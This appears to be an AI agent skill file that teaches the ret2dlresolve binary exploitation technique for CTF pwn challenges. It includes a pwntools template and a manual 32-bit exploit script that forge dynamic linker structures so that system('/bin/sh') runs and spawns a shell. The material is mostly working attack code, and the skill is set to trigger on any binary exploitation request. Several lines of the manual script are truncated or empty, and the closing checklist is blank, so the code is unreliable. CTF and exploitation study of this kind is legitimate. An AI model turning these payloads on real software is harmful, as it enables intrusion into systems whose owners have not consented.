| name | ret2dlresolve-exploit |
| description | How to craft ret2dlresolve exploits for binary exploitation challenges. Use this skill whenever the user mentions ret2dlresolve, dl_runtime_resolve, GOT/PLT manipulation, binary exploitation without syscall gadgets, CTF pwn challenges without libc leaks, or needs to call system() in a binary without Full Relro. Trigger for any binary exploitation task involving dynamic linking, symbol resolution, or when standard ROP/syscall techniques aren't available. |
Ret2dlresolve Exploitation
A skill for crafting ret2dlresolve attacks against binaries without Full Relro protection.
When to Use This Technique
Use ret2dlresolve when:
- No Full Relro is present (check with
checksec or readelf -d)
- No syscall gadgets available for ret2syscall or SROP
- No libc leaks possible to get function addresses
- You need to call
system() or other libc functions
- The binary has a writable memory region (BSS, heap, or via
read)
Attack Overview
The ret2dlresolve technique fakes the dynamic linker's symbol resolution structures to make _dl_runtime_resolve resolve and call a target function (typically system) with your chosen arguments.
Core Concept
- Fake structures are written to a known memory location
_dl_runtime_resolve is called with pointers to these fake structures
- The resolver looks up the target symbol (e.g.,
system) in your fake structures
- The resolved address is called with your arguments (e.g.,
'/bin/sh')
Attack Flow
┌─────────────────────────────────────────────────────────────┐
│ 1. Initial ROP chain │
│ - Call read() to write fake structures to known location │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Send fake structures via read() │
│ - .rel.plt entry (fake relocation) │
│ - .dynsym entry (fake symbol table) │
│ - .dynstr entry ("system\x00") │
│ - "/bin/sh\x00" string │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Second ROP chain │
│ - Call _dl_runtime_resolve with fake .rel.plt offset │
│ - Set $rdi = address of "/bin/sh" │
│ - Return address (doesn't matter, system() won't return) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. _dl_runtime_resolve resolves "system" and calls it │
│ - system("/bin/sh") executes → shell! │
└─────────────────────────────────────────────────────────────┘
Pwntools Implementation
Quick Start Template
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * offset)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
Key Parameters
| Parameter | Description |
|---|
symbol | The function to resolve (e.g., 'system', 'execve') |
args | Arguments to pass to the resolved function |
data_addr | Where to write the fake structures (must be writable) |
Finding the Offset
cyclic = context.cyclic
p.sendline(cyclic)
offset = cyclic.find(reg_value)
from pwn import *
offset = 76
Manual Implementation (32-bit)
When pwntools' Ret2dlresolvePayload isn't available or you need more control:
from pwn import *
target = process('./vuln')
elf = ELF('vuln')
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
read_addr = elf.symbols['read']
resolve_addr = 0x80482f0
payload0 = "A" * 44
payload0 += p32(read_addr)
payload0 += p32(0x804843b)
payload0 += p32(0)
payload0 += p32(bss)
payload0 += p32(100)
target.send(payload0)
dynsym_offset = ((bss + 0xc) - dynsym) // 0x10
r_info = (dynsym_offset << 8) | 0x7
dynstr_index = (bss + 28) - dynstr
payload1 = p32(elf.got['alarm'])
payload1 += p32(r_info)
payload1 += p32(0x0)
payload1 += p32(dynstr_index)
payload1 += p32(0xde) * 3
payload1 += "system\x00"
payload1 +=
target.send(payload1)
binsh_addr = bss +
relplt_offset = bss - relplt
payload2 = *
payload2 += p32(resolve_addr)
payload2 += p32(relplt_offset)
payload2 += p32()
payload2 += p32(binsh_addr)
target.send(payload2)
target.interactive()
Fake Structure Layout
The fake structures must match the expected format:
BSS (writable memory):
┌─────────────────────────────────────────────────────────────┐
│ 0x00: .rel.plt entry (8 bytes x2 on 64-bit) │
│ - r_offset: GOT entry to overwrite │
│ - r_info: (dynsym_index << 8) | type │
├─────────────────────────────────────────────────────────────┤
│ 0x10: .dynsym entry (16 bytes x2 on 64-bit) │
│ - st_name: offset into .dynstr │
│ - st_info, st_other, st_shndx │
│ - st_value, st_size │
├─────────────────────────────────────────────────────────────┤
│ 0x30: .dynstr entry │
│ - "system\x00" │
├─────────────────────────────────────────────────────────────┤
│ 0x40: Argument string │
│ - "/bin/sh\x00" │
└─────────────────────────────────────────────────────────────┘
Common Pitfalls
1. Wrong Architecture
- 32-bit: Use
p32(), 4-byte addresses
- 64-bit: Use
p64(), 8-byte addresses
- Check with:
file ./vuln or readelf -h ./vuln
2. Missing read() Call
The fake structures must be written to memory first:
rop.read(0, dlresolve.data_addr)
3. Wrong Data Address
data_addr must be:
- Writable (BSS, heap, or via
read)
- Known and controllable
- Not overwritten by other code
4. Incorrect r_info Calculation
r_info = (dynsym_index << 32) | 0x7
r_info = (dynsym_index << 8) | 0x7
5. GOT Entry Selection
Choose a GOT entry that:
- Exists in the binary
- Won't be called before your exploit
- Common choices:
alarm, puts, printf
Debugging Tips
Check Protections
checksec --file=./vuln
Verify Section Addresses
readelf -S ./vuln
readelf -d ./vuln
objdump -h ./vuln
GDB Debugging
from pwn import *
elf = ELF('./vuln')
p = gdb.debug('./vuln', 'break *main')
p = process('./vuln')
gdb.attach(p)
Inspect Fake Structures
p.context.arch = 'amd64'
fake_structs = p.read(bss, 100)
print(hexdump(fake_structs))
When This Fails
If ret2dlresolve doesn't work, consider:
| Issue | Alternative |
|---|
| Full Relro present | ret2libc, ROP |
| No writable memory | SROP, ret2syscall |
| PIE enabled | Leak addresses first |
| Canary present | Bypass or leak canary |
References
Quick Checklist
Before attempting ret2dlresolve: